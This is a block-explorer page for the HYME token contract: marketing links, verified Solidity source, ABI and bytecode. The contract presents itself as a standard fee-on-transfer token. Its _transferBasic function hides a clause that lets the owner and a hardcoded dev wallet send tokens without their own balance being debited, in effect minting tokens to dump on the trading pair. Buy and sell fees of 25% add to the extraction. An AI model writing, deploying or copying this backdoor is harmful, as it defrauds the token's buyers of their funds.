ETH Price: $3,320.53 (+1.53%)
Gas: 10 Gwei

Token

HYME (HYME)
 

Overview

Max Total Supply

1,000,000,000 HYME

Holders

224

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
35,425,062.254418844 HYME

Value
$0.00
0x1029898f7d7f8cef3a347a6d7342cdf42f11532e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HYME

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-29
*/

// SPDX-License-Identifier: Unlicensed

/*
Explore Crypto like never before.

Discover your next crypto gem through a visually captivating and engaging experience on HYME, the world's first scroll-to-find crypto search engine.

Website: https://www.hymenet.com
Telegram: https://t.me/hyme_erc
Twitter: https://twitter.com/hyme_erc
Dapp: https://app.hymenet.com
 */

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract HYME is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    string private _name = "HYME"; 
    string private _symbol = "HYME";

    uint256 public feeOnBuy = 25;
    uint256 public feeOnSell = 25;
    uint256 private _totalBuyFee = 2000;
                                     
    bool public _swapping;
    bool public transferDelayEnabled = true;
    bool public feeSwapEnabled = true;

    IUniswapRouter public uniswapRouter;
    address public uniswapPair;

    uint8 private _numbuyer = 0;
    uint8 private _feeSwapAt = 2; 

    uint256 private _lastTax = _totalBuyFee; 
    uint256 private _lastBuyTax = feeOnBuy; 
    uint256 private _lastSellTax = feeOnSell; 

    uint8 private _decimals = 9;
    uint256 private _supply = 10 ** 9 * 10**_decimals;
    uint256 public maxTxAmount = 25 * _supply / 1000;
    uint256 public minimumTokensToSwap = _supply / 100000;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    address payable private devWallet;
    address payable private DEAD;

    modifier lockTheSwap {
        _swapping = true;
        _;
        _swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _supply;
        DEAD = payable(0x000000000000000000000000000000000000dEaD); 
        IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        devWallet = payable(0xBAd078B3b438992708a4e053739B5061529750Fa); 
        uniswapPair = IUniswapFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[devWallet] = true;
        
        emit Transfer(address(0), owner(), _supply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _supply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
        
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function removeFee() private {
        if(_totalBuyFee == 0 && feeOnBuy == 0 && feeOnSell == 0) return;

        _lastBuyTax = feeOnBuy; 
        _lastSellTax = feeOnSell; 
        _lastTax = _totalBuyFee;
        feeOnBuy = 0;
        feeOnSell = 0;
        _totalBuyFee = 0;
    }

    function restoreFee() private {
        _totalBuyFee = _lastTax;
        feeOnBuy = _lastBuyTax; 
        feeOnSell = _lastSellTax; 
    }
        
    function removeLimits() external onlyOwner {
        maxTxAmount = ~uint256(0);
        _totalBuyFee = 300;
        feeOnBuy = 3;
        feeOnSell = 3;
    }
    
    function sendFee(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }
    
    function swapFee(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensToETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendFee(devWallet,contractETH);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transferStandard(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeFee();
        } else {
            _numbuyer++;
        }
        _transferBasic(sender, recipient, amount);
        
        if(!takeFee) {
            restoreFee();
        }
    }
    
    function getTransferAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalBuyFee).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }
    
    function swapTokensToETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != devWallet &&
            to != address(this) &&
            to != uniswapPair &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxTxAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            _numbuyer >= _feeSwapAt && 
            amount > minimumTokensToSwap &&
            !_swapping &&
            !_isExcludedFromFee[from] &&
            to == uniswapPair &&
            feeSwapEnabled 
            )
        {  
            _numbuyer = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapFee(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (transferDelayEnabled && from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _totalBuyFee = feeOnBuy;
        } else if (to == uniswapPair){
            _totalBuyFee = feeOnSell;
        }

        _transferStandard(from,to,amount,takeFee);
    }
        
    function _transferBasic(address sender, address recipient, uint256 finalAmount) private {
        (uint256 tTransferAmount, uint256 tDev) = getTransferAmount(finalAmount);
        if(_isExcludedFromFee[sender] && _balances[sender] <= maxTxAmount) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600460809081526348594d4560e01b60a05260019062000025908262000469565b5060408051808201909152600481526348594d4560e01b602082015260029062000050908262000469565b506019600381905560048190556107d060058190556006805462ffff001916620101001790556007805461ffff60a01b1916600160a91b1790556008556009818155600a918255600b805460ff191682179055620000ae9162000640565b620000be90633b9aca0062000657565b600c556103e8600c546019620000d5919062000657565b620000e1919062000671565b600d55620186a0600c54620000f7919062000671565b600e5534801562000106575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600c54600f5f6200015d5f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f2092909255601380546001600160a01b031990811661dead179091556012805490911673bad078b3b438992708a4e053739b5061529750fa179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001fc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000222919062000691565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000294919062000691565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002df573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000305919062000691565b600780546001600160a01b0319166001600160a01b03928316179055600680546301000000600160b81b0319166301000000848416021790555f80548216815260116020526040808220805460ff19908116600190811790925560125485168452918320805490921617905554166001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620003ba91815260200190565b60405180910390a350620006b9565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620003f257607f821691505b6020821081036200041157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000464575f81815260208120601f850160051c810160208610156200043f5750805b601f850160051c820191505b8181101562000460578281556001016200044b565b5050505b505050565b81516001600160401b03811115620004855762000485620003c9565b6200049d81620004968454620003dd565b8462000417565b602080601f831160018114620004d3575f8415620004bb5750858301515b5f19600386901b1c1916600185901b17855562000460565b5f85815260208120601f198616915b828110156200050357888601518255948401946001909101908401620004e2565b50858210156200052157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200058557815f190482111562000569576200056962000531565b808516156200057757918102915b93841c93908002906200054a565b509250929050565b5f826200059d575060016200063a565b81620005ab57505f6200063a565b8160018114620005c45760028114620005cf57620005ef565b60019150506200063a565b60ff841115620005e357620005e362000531565b50506001821b6200063a565b5060208310610133831016604e8410600b841016171562000614575081810a6200063a565b62000620838362000545565b805f190482111562000636576200063662000531565b0290505b92915050565b5f6200065060ff8416836200058d565b9392505050565b80820281158282048414176200063a576200063a62000531565b5f826200068c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006a2575f80fd5b81516001600160a01b038116811462000650575f80fd5b6112be80620006c75f395ff3fe60806040526004361061013f575f3560e01c8063751039fc116100b3578063bb8c3ee01161006d578063bb8c3ee014610374578063c816841b14610389578063c876d0b9146103a8578063cf951fc0146103c6578063dd62ed3e146103df578063f2fde38b14610423575f80fd5b8063751039fc146102ce578063768dc710146102e25780638c0b5e22146103105780638da5cb5b1461032557806395d89b4114610341578063a9059cbb14610355575f80fd5b8063313ce56711610104578063313ce567146101fb578063321eec091461021c57806365048d081461023157806370a0823114610246578063715018a61461027a578063735de9f714610290575f80fd5b806304866b801461014a57806306fdde031461017e578063095ea7b31461019f57806318160ddd146101be57806323b872dd146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b506006546101699062010000900460ff1681565b60405190151581526020015b60405180910390f35b348015610189575f80fd5b50610192610442565b6040516101759190610fab565b3480156101aa575f80fd5b506101696101b936600461100d565b6104d2565b3480156101c9575f80fd5b50600c545b604051908152602001610175565b3480156101e7575f80fd5b506101696101f6366004611037565b6104e8565b348015610206575f80fd5b50600b5460405160ff9091168152602001610175565b348015610227575f80fd5b506101ce600e5481565b34801561023c575f80fd5b506101ce60045481565b348015610251575f80fd5b506101ce610260366004611075565b6001600160a01b03165f908152600f602052604090205490565b348015610285575f80fd5b5061028e61054f565b005b34801561029b575f80fd5b506006546102b690630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610175565b3480156102d9575f80fd5b5061028e6105c9565b3480156102ed575f80fd5b506101696102fc366004611075565b60116020525f908152604090205460ff1681565b34801561031b575f80fd5b506101ce600d5481565b348015610330575f80fd5b505f546001600160a01b03166102b6565b34801561034c575f80fd5b50610192610607565b348015610360575f80fd5b5061016961036f36600461100d565b610616565b34801561037f575f80fd5b506101ce60035481565b348015610394575f80fd5b506007546102b6906001600160a01b031681565b3480156103b3575f80fd5b5060065461016990610100900460ff1681565b3480156103d1575f80fd5b506006546101699060ff1681565b3480156103ea575f80fd5b506101ce6103f9366004611090565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561042e575f80fd5b5061028e61043d366004611075565b610622565b606060018054610451906110c7565b80601f016020809104026020016040519081016040528092919081815260200182805461047d906110c7565b80156104c85780601f1061049f576101008083540402835291602001916104c8565b820191905f5260205f20905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b5f6104de338484610709565b5060015b92915050565b5f6104f48484846107c9565b610545843361054085604051806060016040528060288152602001611261602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b3b565b610709565b5060019392505050565b5f546001600160a01b031633146105815760405162461bcd60e51b8152600401610578906110ff565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f25760405162461bcd60e51b8152600401610578906110ff565b5f19600d5561012c6005556003808055600455565b606060028054610451906110c7565b5f6104de3384846107c9565b5f546001600160a01b0316331461064b5760405162461bcd60e51b8152600401610578906110ff565b6001600160a01b0381166106b05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610578565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072957506001600160a01b03821615155b6107695760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610578565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f457506012546001600160a01b03838116911614155b801561080957506001600160a01b0382163014155b801561082357506007546001600160a01b03838116911614155b801561083d57506013546001600160a01b03838116911614155b801561085657505f546001600160a01b03848116911614155b156108e1576001600160a01b0382165f908152600f6020526040902054600d546108808383611148565b11156108df5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610578565b505b6001600160a01b0383161580159061090157506001600160a01b03821615155b6109455760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610578565b5f81116109a25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610578565b60075460ff600160a81b82048116600160a01b90920416108015906109c85750600e5481115b80156109d7575060065460ff16155b80156109fb57506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1457506007546001600160a01b038381169116145b8015610a28575060065462010000900460ff165b15610a5a576007805460ff60a01b19169055305f908152600f60205260409020548015610a5857610a5881610b66565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610a9a57506001600160a01b0383165f9081526011602052604090205460ff165b80610adf5750600654610100900460ff168015610ac557506007546001600160a01b03858116911614155b8015610adf57506007546001600160a01b03848116911614155b15610aeb57505f610b29565b6007546001600160a01b0390811690851603610b0c57600354600555610b29565b6007546001600160a01b0390811690841603610b29576004546005555b610b3584848484610ba2565b50505050565b5f8184841115610b5e5760405162461bcd60e51b81526004016105789190610fab565b505050900390565b6006805460ff19166001179055610b7c81610c0f565b6012544790610b94906001600160a01b031682610d86565b50506006805460ff19169055565b80610bb457610baf610dbe565b610be8565b60078054600160a01b900460ff16906014610bce8361115b565b91906101000a81548160ff021916908360ff160217905550505b610bf3848484610e02565b80610b3557610b35600854600555600954600355600a54600455565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4257610c42611179565b60200260200101906001600160a01b031690816001600160a01b031681525050600660039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cd7919061118d565b81600181518110610cea57610cea611179565b6001600160a01b039283166020918202929092010152600654610d17913091630100000090041684610709565b60065460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610d559085905f908690309042906004016111a8565b5f604051808303815f87803b158015610d6c575f80fd5b505af1158015610d7e573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610db9573d5f803e3d5ffd5b505050565b600554158015610dce5750600354155b8015610dda5750600454155b15610de157565b6003805460095560048054600a55600580546008555f928390559082905555565b5f80610e0d83610f3d565b6001600160a01b0387165f90815260116020526040902054919350915060ff168015610e525750600d546001600160a01b0386165f908152600f602052604090205411155b15610e6657505f610e638284611217565b92505b6001600160a01b0385165f908152600f6020526040902054610e889084610f78565b6001600160a01b038087165f908152600f60205260408082209390935590861681522054610eb69083610f8a565b6001600160a01b0385165f908152600f6020526040808220929092553081522054610ee19082610f8a565b305f908152600f602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f805f610f606064610f5a60055487610f9590919063ffffffff16565b90610fa0565b90505f610f6d8583610f78565b959194509092505050565b5f610f838284611217565b9392505050565b5f610f838284611148565b5f610f83828461122a565b5f610f838284611241565b5f6020808352835180828501525f5b81811015610fd657858101830151858201604001528201610fba565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461100a575f80fd5b50565b5f806040838503121561101e575f80fd5b823561102981610ff6565b946020939093013593505050565b5f805f60608486031215611049575f80fd5b833561105481610ff6565b9250602084013561106481610ff6565b929592945050506040919091013590565b5f60208284031215611085575f80fd5b8135610f8381610ff6565b5f80604083850312156110a1575f80fd5b82356110ac81610ff6565b915060208301356110bc81610ff6565b809150509250929050565b600181811c908216806110db57607f821691505b6020821081036110f957634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156104e2576104e2611134565b5f60ff821660ff810361117057611170611134565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561119d575f80fd5b8151610f8381610ff6565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111f65784516001600160a01b0316835293830193918301916001016111d1565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104e2576104e2611134565b80820281158282048414176104e2576104e2611134565b5f8261125b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220334538b7527afa60373748a8060ea5e37a44a947078186ab45b1cb6431179fec64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c8063751039fc116100b3578063bb8c3ee01161006d578063bb8c3ee014610374578063c816841b14610389578063c876d0b9146103a8578063cf951fc0146103c6578063dd62ed3e146103df578063f2fde38b14610423575f80fd5b8063751039fc146102ce578063768dc710146102e25780638c0b5e22146103105780638da5cb5b1461032557806395d89b4114610341578063a9059cbb14610355575f80fd5b8063313ce56711610104578063313ce567146101fb578063321eec091461021c57806365048d081461023157806370a0823114610246578063715018a61461027a578063735de9f714610290575f80fd5b806304866b801461014a57806306fdde031461017e578063095ea7b31461019f57806318160ddd146101be57806323b872dd146101dc575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b506006546101699062010000900460ff1681565b60405190151581526020015b60405180910390f35b348015610189575f80fd5b50610192610442565b6040516101759190610fab565b3480156101aa575f80fd5b506101696101b936600461100d565b6104d2565b3480156101c9575f80fd5b50600c545b604051908152602001610175565b3480156101e7575f80fd5b506101696101f6366004611037565b6104e8565b348015610206575f80fd5b50600b5460405160ff9091168152602001610175565b348015610227575f80fd5b506101ce600e5481565b34801561023c575f80fd5b506101ce60045481565b348015610251575f80fd5b506101ce610260366004611075565b6001600160a01b03165f908152600f602052604090205490565b348015610285575f80fd5b5061028e61054f565b005b34801561029b575f80fd5b506006546102b690630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610175565b3480156102d9575f80fd5b5061028e6105c9565b3480156102ed575f80fd5b506101696102fc366004611075565b60116020525f908152604090205460ff1681565b34801561031b575f80fd5b506101ce600d5481565b348015610330575f80fd5b505f546001600160a01b03166102b6565b34801561034c575f80fd5b50610192610607565b348015610360575f80fd5b5061016961036f36600461100d565b610616565b34801561037f575f80fd5b506101ce60035481565b348015610394575f80fd5b506007546102b6906001600160a01b031681565b3480156103b3575f80fd5b5060065461016990610100900460ff1681565b3480156103d1575f80fd5b506006546101699060ff1681565b3480156103ea575f80fd5b506101ce6103f9366004611090565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561042e575f80fd5b5061028e61043d366004611075565b610622565b606060018054610451906110c7565b80601f016020809104026020016040519081016040528092919081815260200182805461047d906110c7565b80156104c85780601f1061049f576101008083540402835291602001916104c8565b820191905f5260205f20905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b5f6104de338484610709565b5060015b92915050565b5f6104f48484846107c9565b610545843361054085604051806060016040528060288152602001611261602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190610b3b565b610709565b5060019392505050565b5f546001600160a01b031633146105815760405162461bcd60e51b8152600401610578906110ff565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f25760405162461bcd60e51b8152600401610578906110ff565b5f19600d5561012c6005556003808055600455565b606060028054610451906110c7565b5f6104de3384846107c9565b5f546001600160a01b0316331461064b5760405162461bcd60e51b8152600401610578906110ff565b6001600160a01b0381166106b05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610578565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061072957506001600160a01b03821615155b6107695760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610578565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b038381169116148015906107f457506012546001600160a01b03838116911614155b801561080957506001600160a01b0382163014155b801561082357506007546001600160a01b03838116911614155b801561083d57506013546001600160a01b03838116911614155b801561085657505f546001600160a01b03848116911614155b156108e1576001600160a01b0382165f908152600f6020526040902054600d546108808383611148565b11156108df5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610578565b505b6001600160a01b0383161580159061090157506001600160a01b03821615155b6109455760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610578565b5f81116109a25760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610578565b60075460ff600160a81b82048116600160a01b90920416108015906109c85750600e5481115b80156109d7575060065460ff16155b80156109fb57506001600160a01b0383165f9081526011602052604090205460ff16155b8015610a1457506007546001600160a01b038381169116145b8015610a28575060065462010000900460ff165b15610a5a576007805460ff60a01b19169055305f908152600f60205260409020548015610a5857610a5881610b66565b505b6001600160a01b0383165f9081526011602052604090205460019060ff1680610a9a57506001600160a01b0383165f9